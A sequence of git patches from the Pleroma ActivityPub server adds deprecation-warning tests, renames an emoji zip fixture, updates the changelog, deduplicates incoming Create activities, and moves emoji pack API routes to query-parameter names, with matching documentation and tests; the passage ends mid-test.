7f0d2a298..e8140f58e 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -66,6 +66,14 @@ test "check_media_proxy_whitelist_config/0" do end) =~ "Your config is using old format (only domain) for MediaProxy whitelist option" end + test "check_welcome_message_config/0" do + clear_config([:instance, :welcome_user_nickname], "LainChan") + + assert capture_log(fn -> + DeprecationWarnings.check_welcome_message_config() + end) =~ "Your config is using the old namespace for Welcome messages configuration." + end + describe "check_gun_pool_options/0" do test "await_up_timeout" do config = Config.get(:connections_pool) -- cgit v1.2.3 From 7775b1540f47f792f0afa7c49a2cf058e2f6470e Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:22:15 -0500 Subject: Add deprecation warning test for check_hellthread_threshold/0 --- test/config/deprecation_warnings_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index e8140f58e..0efc0843c 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -74,6 +74,14 @@ test "check_welcome_message_config/0" do end) =~ "Your config is using the old namespace for Welcome messages configuration." end + test "check_hellthread_threshold/0" do + clear_config([:mrf_hellthread, :threshold], 16) + + assert capture_log(fn -> + DeprecationWarnings.check_hellthread_threshold() + end) =~ "You are using the old configuration mechanism for the hellthread filter." + end + describe "check_gun_pool_options/0" do test "await_up_timeout" do config = Config.get(:connections_pool) -- cgit v1.2.3 From 88653c01c92fffb396e32edad203d18607980c04 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:34:51 -0500 Subject: Add test for check_activity_expiration_config/0 --- test/config/deprecation_warnings_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index 0efc0843c..28355d7eb 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -82,6 +82,14 @@ test "check_hellthread_threshold/0" do end) =~ "You are using the old configuration mechanism for the hellthread filter." end + test "check_activity_expiration_config/0" do + clear_config([Pleroma.ActivityExpiration, :enabled], true) + + assert capture_log(fn -> + DeprecationWarnings.check_activity_expiration_config() + end) =~ "Your config is using old namespace for activity expiration configuration." + end + describe "check_gun_pool_options/0" do test "await_up_timeout" do config = Config.get(:connections_pool) -- cgit v1.2.3 From 8e4f043ac72e4236f5690f34e3bdc7ce288005e6 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Tue, 22 Sep 2020 21:58:30 +0300 Subject: finland-emojis.zip -> emojis.zip --- test/emoji/pack_test.exs | 8 ++++---- test/fixtures/emojis.zip | Bin 0 -> 1446 bytes test/fixtures/finland-emojis.zip | Bin 460250 -> 0 bytes .../controllers/emoji_file_controller_test.exs | 4 ++-- 4 files changed, 6 insertions(+), 6 deletions(-) create mode 100644 test/fixtures/emojis.zip delete mode 100644 test/fixtures/finland-emojis.zip diff --git a/test/emoji/pack_test.exs b/test/emoji/pack_test.exs index 3ec991f0f..70d1eaa1b 100644 --- a/test/emoji/pack_test.exs +++ b/test/emoji/pack_test.exs @@ -37,8 +37,8 @@ defmodule Pleroma.Emoji.PackTest do test "add emojies from zip file", %{pack: pack} do file = %Plug.Upload{ content_type: "application/zip", - filename: "finland-emojis.zip", - path: Path.absname("test/fixtures/finland-emojis.zip") + filename: "emojis.zip", + path: Path.absname("test/fixtures/emojis.zip") } {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) @@ -58,7 +58,7 @@ test "add emojies from zip file", %{pack: pack} do test "returns error when zip file is bad", %{pack: pack} do file = %Plug.Upload{ content_type: "application/zip", - filename: "finland-emojis.zip", + filename: "emojis.zip", path: Path.absname("test/instance_static/emoji/test_pack/blank.png") } @@ -68,7 +68,7 @@ test "returns error when zip file is bad", %{pack: pack} do test "returns pack when zip file is empty", %{pack: pack} do file = %Plug.Upload{ content_type: "application/zip", - filename: "finland-emojis.zip", + filename: "emojis.zip", path: Path.absname("test/fixtures/empty.zip") } diff --git a/test/fixtures/emojis.zip b/test/fixtures/emojis.zip new file mode 100644 index 000000000..d7fc4732b Binary files /dev/null and b/test/fixtures/emojis.zip differ diff --git a/test/fixtures/finland-emojis.zip b/test/fixtures/finland-emojis.zip deleted file mode 100644 index de7242ea1..000000000 Binary files a/test/fixtures/finland-emojis.zip and /dev/null differ diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs index 827a4c374..39b4e1dac 100644 --- a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -59,8 +59,8 @@ test "upload zip file with emojies", %{admin_conn: admin_conn} do |> post("/api/pleroma/emoji/packs/test_pack/files", %{ file: %Plug.Upload{ content_type: "application/zip", - filename: "finland-emojis.zip", - path: Path.absname("test/fixtures/finland-emojis.zip") + filename: "emojis.zip", + path: Path.absname("test/fixtures/emojis.zip") } }) |> json_response_and_validate_schema(200) -- cgit v1.2.3 From 9d6415de157ddf6effb154b354fd6410dba8aae6 Mon Sep 17 00:00:00 2001 From: lain Date: Wed, 23 Sep 2020 10:54:24 +0200 Subject: Changelog: Info about email fix. --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e61b1d144..0dc098f80 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -28,6 +28,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Removed `:managed_config` option. In practice, it was accidentally removed with 2.0.0 release when frontends were switched to a new configuration mechanism, however it was not officially removed until now. +### Fixed +- Allow sending out emails again. + ## [2.1.2] - 2020-09-17 -- cgit v1.2.3 From 518c0f2962ab36660157d7cbc995d1f4562728b3 Mon Sep 17 00:00:00 2001 From: lain Date: Wed, 23 Sep 2020 10:57:53 +0200 Subject: Changelog: Add info about emoji zip import feature --- CHANGELOG.md | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e61b1d144..8ea66844d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,9 +5,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## Unreleased -### Added -- Experimental websocket-based federation between Pleroma instances. - ### Changed - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. @@ -19,6 +16,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Added - Media preview proxy (requires media proxy be enabled; see `:media_preview_proxy` config for more details). - Pleroma API: Importing the mutes users from CSV files. +- Experimental websocket-based federation between Pleroma instances. +- Admin API: Importing emoji from a zip file ### Removed @@ -28,7 +27,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Removed `:managed_config` option. In practice, it was accidentally removed with 2.0.0 release when frontends were switched to a new configuration mechanism, however it was not officially removed until now. - ## [2.1.2] - 2020-09-17 ### Security -- cgit v1.2.3 From 5e86a2809e37100b54e0fc88db79245e13f684aa Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Wed, 23 Sep 2020 11:45:32 +0200 Subject: transmogrifier: Drop incoming create early if it already exists --- lib/pleroma/web/activity_pub/transmogrifier.ex | 6 +++++- test/web/activity_pub/transmogrifier/question_handling_test.exs | 4 ++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index aa6a69463..d7dd9fe6b 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -515,15 +515,19 @@ def handle_incoming( end def handle_incoming( - %{"type" => "Create", "object" => %{"type" => objtype}} = data, + %{"type" => "Create", "object" => %{"type" => objtype, "id" => obj_id}} = data, _options ) when objtype in ~w{Question Answer ChatMessage Audio Video Event Article} do data = Map.put(data, "object", strip_internal_fields(data["object"])) with {:ok, %User{}} <- ObjectValidator.fetch_actor(data), + nil <- Activity.get_create_by_object_ap_id(obj_id), {:ok, activity, _} <- Pipeline.common_pipeline(data, local: false) do {:ok, activity} + else + %Activity{} = activity -> {:ok, activity} + e -> e end end diff --git a/test/web/activity_pub/transmogrifier/question_handling_test.exs b/test/web/activity_pub/transmogrifier/question_handling_test.exs index 74ee79543..d2822ce75 100644 --- a/test/web/activity_pub/transmogrifier/question_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/question_handling_test.exs @@ -157,12 +157,12 @@ test "Mastodon Question activity with custom emojis" do } end - test "returns an error if received a second time" do + test "returns same activity if received a second time" do data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() assert {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - assert {:error, {:validate_object, {:error, _}}} = Transmogrifier.handle_incoming(data) + assert {:ok, ^activity} = Transmogrifier.handle_incoming(data) end test "accepts a Question with no content" do -- cgit v1.2.3 From 8af8eb5ce79a35e01415763164533c537e017776 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 23 Sep 2020 12:32:47 -0500 Subject: Chase Pleroma.RepoStreamer.chunk_stream -> Pleroma.Repo.chunk_stream --- lib/mix/tasks/pleroma/email.ex | 7 ++----- lib/mix/tasks/pleroma/user.ex | 4 ++-- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/mix/tasks/pleroma/email.ex b/lib/mix/tasks/pleroma/email.ex index c0bef0386..1f543241a 100644 --- a/lib/mix/tasks/pleroma/email.ex +++ b/lib/mix/tasks/pleroma/email.ex @@ -31,11 +31,8 @@ def run(["resend_confirmation_emails"]) do confirmation_pending: true, invisible: false }) - |> Pleroma.RepoStreamer.chunk_stream(500) - |> Stream.each(fn users -> - users - |> Enum.each(fn user -> Pleroma.User.try_send_confirmation_email(user) end) - end) + |> Pleroma.Repo.chunk_stream(500, :batches) + |> Stream.each(&Pleroma.User.try_send_confirmation_email(&1)) |> Stream.run() end end diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex index 8196e34b1..d50205600 100644 --- a/lib/mix/tasks/pleroma/user.ex +++ b/lib/mix/tasks/pleroma/user.ex @@ -370,7 +370,7 @@ def run(["confirm_all"]) do is_admin: false, invisible: false }) - |> Pleroma.RepoStreamer.chunk_stream(500) + |> Pleroma.Repo.chunk_stream(500, :batches) |> Stream.each(fn users -> users |> Enum.each(fn user -> User.need_confirmation(user, false) end) @@ -388,7 +388,7 @@ def run(["unconfirm_all"]) do is_admin: false, invisible: false }) - |> Pleroma.RepoStreamer.chunk_stream(500) + |> Pleroma.Repo.chunk_stream(500, :batches) |> Stream.each(fn users -> users |> Enum.each(fn user -> User.need_confirmation(user, true) end) -- cgit v1.2.3 From 9b6d89ff8c798079f4db18eb2b5c66a7426ecbc5 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 27 Jun 2020 13:43:25 +0300 Subject: support for special chars in pack name --- docs/API/pleroma_api.md | 49 +++++++--- lib/pleroma/emoji/pack.ex | 5 +- .../operations/pleroma_emoji_pack_operation.ex | 2 +- lib/pleroma/web/router.ex | 16 ++-- test/instance_static/emoji/blobs.gg/blank.png | Bin 0 -> 95 bytes test/instance_static/emoji/blobs.gg/pack.json | 11 +++ .../controllers/emoji_pack_controller_test.exs | 104 +++++++++++++-------- 7 files changed, 128 insertions(+), 59 deletions(-) create mode 100644 test/instance_static/emoji/blobs.gg/blank.png create mode 100644 test/instance_static/emoji/blobs.gg/pack.json diff --git a/docs/API/pleroma_api.md b/docs/API/pleroma_api.md index 94b6a4fda..350849687 100644 --- a/docs/API/pleroma_api.md +++ b/docs/API/pleroma_api.md @@ -379,14 +379,18 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa * Response: JSON, returns a list of Mastodon Conversation entities that were marked as read (200 - healthy, 503 unhealthy). ## `GET /api/pleroma/emoji/packs/import` + ### Imports packs from filesystem + * Method `GET` * Authentication: required * Params: None * Response: JSON, returns a list of imported packs. ## `GET /api/pleroma/emoji/packs/remote` + ### Make request to another instance for packs list + * Method `GET` * Authentication: required * Params: @@ -394,7 +398,9 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa * Response: JSON with the pack list, hashmap with pack name and pack contents ## `POST /api/pleroma/emoji/packs/download` + ### Download pack from another instance + * Method `POST` * Authentication: required * Params: @@ -404,18 +410,24 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa * Response: JSON, "ok" with 200 status if the pack was downloaded, or 500 if there were errors downloading the pack -## `POST /api/pleroma/emoji/packs/:name` +## `POST /api/pleroma/emoji/packs/create?name=:name` + ### Creates an empty pack + * Method `POST` * Authentication: required -* Params: None +* Params: + * `name`: pack name * Response: JSON, "ok" and 200 status or 409 if the pack with that name already exists -## `PATCH /api/pleroma/emoji/packs/:name` +## `PATCH /api/pleroma/emoji/packs/update?name=:name` + ### Updates (replaces) pack metadata + * Method `PATCH` * Authentication: required * Params: + * `name`: pack name * `metadata`: metadata to replace the old one * `license`: Pack license * `homepage`: Pack home page url @@ -426,39 +438,51 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa * Response: JSON, updated "metadata" section of the pack and 200 status or 400 if there was a problem with the new metadata (the error is specified in the "error" part of the response JSON) -## `DELETE /api/pleroma/emoji/packs/:name` +## `DELETE /api/pleroma/emoji/packs/delete?name=:name` + ### Delete a custom emoji pack + * Method `DELETE` * Authentication: required -* Params: None +* Params: + * `name`: pack name * Response: JSON, "ok" and 200 status or 500 if there was an error deleting the pack -## `POST /api/pleroma/emoji/packs/:name/files` +## `POST /api/pleroma/emoji/packs/files?name=:name` + ### Add new file to the pack + * Method `POST` * Authentication: required * Params: + * `name`: pack name * `file`: file needs to be uploaded with the multipart request or link to remote file. * `shortcode`: (*optional*) shortcode for new emoji, must be unique for all emoji. If not sended, shortcode will be taken from original filename. * `filename`: (*optional*) new emoji file name. If not specified will be taken from original filename. * Response: JSON, list of files for updated pack (hashmap -> shortcode => filename) with status 200, either error status with error message. -## `PATCH /api/pleroma/emoji/packs/:name/files` +## `PATCH /api/pleroma/emoji/packs/files?name=:name` + ### Update emoji file from pack + * Method `PATCH` * Authentication: required * Params: + * `name`: pack name * `shortcode`: emoji file shortcode * `new_shortcode`: new emoji file shortcode * `new_filename`: new filename for emoji file * `force`: (*optional*) with true value to overwrite existing emoji with new shortcode * Response: JSON, list with updated files for updated pack (hashmap -> shortcode => filename) with status 200, either error status with error message. -## `DELETE /api/pleroma/emoji/packs/:name/files` +## `DELETE /api/pleroma/emoji/packs/files?name=:name` + ### Delete emoji file from pack + * Method `DELETE` * Authentication: required * Params: + * `name`: pack name * `shortcode`: emoji file shortcode * Response: JSON, list with updated files for updated pack (hashmap -> shortcode => filename) with status 200, either error status with error message. @@ -483,7 +507,7 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa } ``` -## `GET /api/pleroma/emoji/packs/:name` +## `GET /api/pleroma/emoji/packs/show?name=:name` ### Get pack.json for the pack @@ -502,11 +526,14 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa } ``` -## `GET /api/pleroma/emoji/packs/:name/archive` +## `GET /api/pleroma/emoji/packs/archive?name=:name` + ### Requests a local pack archive from the instance + * Method `GET` * Authentication: not required -* Params: None +* Params: + * `name`: pack name * Response: the archive of the pack with a 200 status code, 403 if the pack is not set as shared, 404 if the pack does not exist diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index 0b3f8f00b..9901aa832 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -244,7 +244,8 @@ def download(name, url, as) do uri = url |> String.trim() |> URI.parse() with :ok <- validate_shareable_packs_available(uri), - {:ok, remote_pack} <- uri |> URI.merge("/api/pleroma/emoji/packs/#{name}") |> http_get(), + {:ok, remote_pack} <- + uri |> URI.merge("/api/pleroma/emoji/packs/show?name=#{name}") |> http_get(), {:ok, %{sha: sha, url: url} = pack_info} <- fetch_pack_info(remote_pack, uri, name), {:ok, archive} <- download_archive(url, sha), pack <- copy_as(remote_pack, as || name), @@ -572,7 +573,7 @@ defp fetch_pack_info(remote_pack, uri, name) do {:ok, %{ sha: sha, - url: URI.merge(uri, "/api/pleroma/emoji/packs/#{name}/archive") |> to_string() + url: URI.merge(uri, "/api/pleroma/emoji/packs/archive?name=#{name}") |> to_string() }} %{"fallback-src" => src, "fallback-src-sha256" => sha} when is_binary(src) -> diff --git a/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex b/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex index 59548af13..87ee5feb4 100644 --- a/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex +++ b/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex @@ -192,7 +192,7 @@ def import_from_filesystem_operation do end defp name_param do - Operation.parameter(:name, :path, :string, "Pack Name", example: "cofe", required: true) + Operation.parameter(:name, :query, :string, "Pack Name", example: "cofe", required: true) end defp url_param do diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 42a9db21d..6f591b12f 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -234,21 +234,21 @@ defmodule Pleroma.Web.Router do get("/remote", EmojiPackController, :remote) post("/download", EmojiPackController, :download) - post("/:name", EmojiPackController, :create) - patch("/:name", EmojiPackController, :update) - delete("/:name", EmojiPackController, :delete) + post("/create", EmojiPackController, :create) + patch("/update", EmojiPackController, :update) + delete("/delete", EmojiPackController, :delete) - post("/:name/files", EmojiFileController, :create) - patch("/:name/files", EmojiFileController, :update) - delete("/:name/files", EmojiFileController, :delete) + post("/files", EmojiFileController, :add_file) + patch("/files", EmojiFileController, :update_file) + delete("/files", EmojiFileController, :delete_file) end # Pack info / downloading scope "/packs" do pipe_through(:api) get("/", EmojiPackController, :index) - get("/:name", EmojiPackController, :show) - get("/:name/archive", EmojiPackController, :archive) + get("/show", EmojiPackController, :show) + get("/archive", EmojiPackController, :archive) end end diff --git a/test/instance_static/emoji/blobs.gg/blank.png b/test/instance_static/emoji/blobs.gg/blank.png new file mode 100644 index 000000000..8f50fa023 Binary files /dev/null and b/test/instance_static/emoji/blobs.gg/blank.png differ diff --git a/test/instance_static/emoji/blobs.gg/pack.json b/test/instance_static/emoji/blobs.gg/pack.json new file mode 100644 index 000000000..481891b08 --- /dev/null +++ b/test/instance_static/emoji/blobs.gg/pack.json @@ -0,0 +1,11 @@ +{ + "files": { + "blank": "blank.png" + }, + "pack": { + "description": "Test description", + "homepage": "https://pleroma.social", + "license": "Test license", + "share-files": true + } +} \ No newline at end of file diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs index a34df2c18..068755936 100644 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -37,11 +37,11 @@ test "GET /api/pleroma/emoji/packs when :public: false", %{conn: conn} do test "GET /api/pleroma/emoji/packs", %{conn: conn} do resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - assert resp["count"] == 3 + assert resp["count"] == 4 assert resp["packs"] |> Map.keys() - |> length() == 3 + |> length() == 4 shared = resp["packs"]["test_pack"] assert shared["files"] == %{"blank" => "blank.png", "blank2" => "blank2.png"} @@ -58,7 +58,7 @@ test "GET /api/pleroma/emoji/packs", %{conn: conn} do |> get("/api/pleroma/emoji/packs?page_size=1") |> json_response_and_validate_schema(200) - assert resp["count"] == 3 + assert resp["count"] == 4 packs = Map.keys(resp["packs"]) @@ -71,7 +71,7 @@ test "GET /api/pleroma/emoji/packs", %{conn: conn} do |> get("/api/pleroma/emoji/packs?page_size=1&page=2") |> json_response_and_validate_schema(200) - assert resp["count"] == 3 + assert resp["count"] == 4 packs = Map.keys(resp["packs"]) assert length(packs) == 1 [pack2] = packs @@ -81,11 +81,21 @@ test "GET /api/pleroma/emoji/packs", %{conn: conn} do |> get("/api/pleroma/emoji/packs?page_size=1&page=3") |> json_response_and_validate_schema(200) - assert resp["count"] == 3 + assert resp["count"] == 4 packs = Map.keys(resp["packs"]) assert length(packs) == 1 [pack3] = packs - assert [pack1, pack2, pack3] |> Enum.uniq() |> length() == 3 + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1&page=4") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + packs = Map.keys(resp["packs"]) + assert length(packs) == 1 + [pack4] = packs + assert [pack1, pack2, pack3, pack4] |> Enum.uniq() |> length() == 4 end describe "GET /api/pleroma/emoji/packs/remote" do @@ -128,11 +138,11 @@ test "non shareable instance", %{admin_conn: admin_conn} do end end - describe "GET /api/pleroma/emoji/packs/:name/archive" do + describe "GET /api/pleroma/emoji/packs/archive?name=:name" do test "download shared pack", %{conn: conn} do resp = conn - |> get("/api/pleroma/emoji/packs/test_pack/archive") + |> get("/api/pleroma/emoji/packs/archive?name=test_pack") |> response(200) {:ok, arch} = :zip.unzip(resp, [:memory]) @@ -143,7 +153,7 @@ test "download shared pack", %{conn: conn} do test "non existing pack", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/test_pack_for_import/archive") + |> get("/api/pleroma/emoji/packs/archive?name=test_pack_for_import") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack test_pack_for_import does not exist" } @@ -151,7 +161,7 @@ test "non existing pack", %{conn: conn} do test "non downloadable pack", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/test_pack_nonshared/archive") + |> get("/api/pleroma/emoji/packs/archive?name=test_pack_nonshared") |> json_response_and_validate_schema(:forbidden) == %{ "error" => "Pack test_pack_nonshared cannot be downloaded from this instance, either pack sharing was disabled for this pack or some files are missing" @@ -173,28 +183,28 @@ test "shared pack from remote and non shared from fallback-src", %{ %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/test_pack" + url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack" } -> conn - |> get("/api/pleroma/emoji/packs/test_pack") + |> get("/api/pleroma/emoji/packs/show?name=test_pack") |> json_response_and_validate_schema(200) |> json() %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/test_pack/archive" + url: "https://example.com/api/pleroma/emoji/packs/archive?name=test_pack" } -> conn - |> get("/api/pleroma/emoji/packs/test_pack/archive") + |> get("/api/pleroma/emoji/packs/archive?name=test_pack") |> response(200) |> text() %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/test_pack_nonshared" + url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack_nonshared" } -> conn - |> get("/api/pleroma/emoji/packs/test_pack_nonshared") + |> get("/api/pleroma/emoji/packs/show?name=test_pack_nonshared") |> json_response_and_validate_schema(200) |> json() @@ -218,7 +228,7 @@ test "shared pack from remote and non shared from fallback-src", %{ assert File.exists?("#{@emoji_path}/test_pack2/blank.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack2") + |> delete("/api/pleroma/emoji/packs/delete?name=test_pack2") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_pack2") @@ -239,7 +249,7 @@ test "shared pack from remote and non shared from fallback-src", %{ assert File.exists?("#{@emoji_path}/test_pack_nonshared2/blank.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack_nonshared2") + |> delete("/api/pleroma/emoji/packs/delete?name=test_pack_nonshared2") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_pack_nonshared2") @@ -279,14 +289,14 @@ test "checksum fail", %{admin_conn: admin_conn} do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/pack_bad_sha" + url: "https://example.com/api/pleroma/emoji/packs/show?name=pack_bad_sha" } -> {:ok, pack} = Pleroma.Emoji.Pack.load_pack("pack_bad_sha") %Tesla.Env{status: 200, body: Jason.encode!(pack)} %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/pack_bad_sha/archive" + url: "https://example.com/api/pleroma/emoji/packs/archive?name=pack_bad_sha" } -> %Tesla.Env{ status: 200, @@ -316,7 +326,7 @@ test "other error", %{admin_conn: admin_conn} do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/test_pack" + url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack" } -> {:ok, pack} = Pleroma.Emoji.Pack.load_pack("test_pack") %Tesla.Env{status: 200, body: Jason.encode!(pack)} @@ -336,7 +346,7 @@ test "other error", %{admin_conn: admin_conn} do end end - describe "PATCH /api/pleroma/emoji/packs/:name" do + describe "PATCH /api/pleroma/emoji/packs/update?name=:name" do setup do pack_file = "#{@emoji_path}/test_pack/pack.json" original_content = File.read!(pack_file) @@ -358,7 +368,9 @@ test "other error", %{admin_conn: admin_conn} do test "for a pack without a fallback source", ctx do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack", %{"metadata" => ctx[:new_data]}) + |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{ + "metadata" => ctx[:new_data] + }) |> json_response_and_validate_schema(200) == ctx[:new_data] assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data] @@ -384,7 +396,7 @@ test "for a pack with a fallback source", ctx do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack", %{metadata: new_data}) + |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{metadata: new_data}) |> json_response_and_validate_schema(200) == new_data_with_sha assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha @@ -404,17 +416,17 @@ test "when the fallback source doesn't have all the files", ctx do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack", %{metadata: new_data}) + |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{metadata: new_data}) |> json_response_and_validate_schema(:bad_request) == %{ "error" => "The fallback archive does not have all files specified in pack.json" } end end - describe "POST/DELETE /api/pleroma/emoji/packs/:name" do + describe "POST/DELETE /api/pleroma/emoji/packs/?name=:name" do test "creating and deleting a pack", %{admin_conn: admin_conn} do assert admin_conn - |> post("/api/pleroma/emoji/packs/test_created") + |> post("/api/pleroma/emoji/packs/create?name=test_created") |> json_response_and_validate_schema(200) == "ok" assert File.exists?("#{@emoji_path}/test_created/pack.json") @@ -426,7 +438,7 @@ test "creating and deleting a pack", %{admin_conn: admin_conn} do } assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_created") + |> delete("/api/pleroma/emoji/packs/delete?name=test_created") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_created/pack.json") @@ -439,7 +451,7 @@ test "if pack exists", %{admin_conn: admin_conn} do File.write!(Path.join(path, "pack.json"), pack_file) assert admin_conn - |> post("/api/pleroma/emoji/packs/test_created") + |> post("/api/pleroma/emoji/packs/create?name=test_created") |> json_response_and_validate_schema(:conflict) == %{ "error" => "A pack named \"test_created\" already exists" } @@ -449,7 +461,7 @@ test "if pack exists", %{admin_conn: admin_conn} do test "with empty name", %{admin_conn: admin_conn} do assert admin_conn - |> post("/api/pleroma/emoji/packs/ ") + |> post("/api/pleroma/emoji/packs/create?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } @@ -458,7 +470,7 @@ test "with empty name", %{admin_conn: admin_conn} do test "deleting nonexisting pack", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/non_existing") + |> delete("/api/pleroma/emoji/packs/delete?name=non_existing") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack non_existing does not exist" } @@ -466,7 +478,7 @@ test "deleting nonexisting pack", %{admin_conn: admin_conn} do test "deleting with empty name", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/ ") + |> delete("/api/pleroma/emoji/packs/delete?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } @@ -529,7 +541,7 @@ test "shows pack.json", %{conn: conn} do } } = conn - |> get("/api/pleroma/emoji/packs/test_pack") + |> get("/api/pleroma/emoji/packs/show?name=test_pack") |> json_response_and_validate_schema(200) assert files == %{"blank" => "blank.png", "blank2" => "blank2.png"} @@ -539,7 +551,7 @@ test "shows pack.json", %{conn: conn} do "files_count" => 2 } = conn - |> get("/api/pleroma/emoji/packs/test_pack?page_size=1") + |> get("/api/pleroma/emoji/packs/show?name=test_pack&page_size=1") |> json_response_and_validate_schema(200) assert files |> Map.keys() |> length() == 1 @@ -549,15 +561,33 @@ test "shows pack.json", %{conn: conn} do "files_count" => 2 } = conn - |> get("/api/pleroma/emoji/packs/test_pack?page_size=1&page=2") + |> get("/api/pleroma/emoji/packs/show?name=test_pack&page_size=1&page=2") |> json_response_and_validate_schema(200) assert files |> Map.keys() |> length() == 1 end + test "for pack name with special chars", %{conn: conn} do + assert %{ + "files" => files, + "files_count" => 1, + "pack" => %{ + "can-download" => true, + "description" => "Test description", + "download-sha256" => _, + "homepage" => "https://pleroma.social", + "license" => "Test license", + "share-files" => true + } + } = + conn + |> get("/api/pleroma/emoji/packs/show?name=blobs.gg") + |> json_response_and_validate_schema(200) + end + test "non existing pack", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/non_existing") + |> get("/api/pleroma/emoji/packs/show?name=non_existing") |> json_response_and_validate_schema(:not_found) == %{ 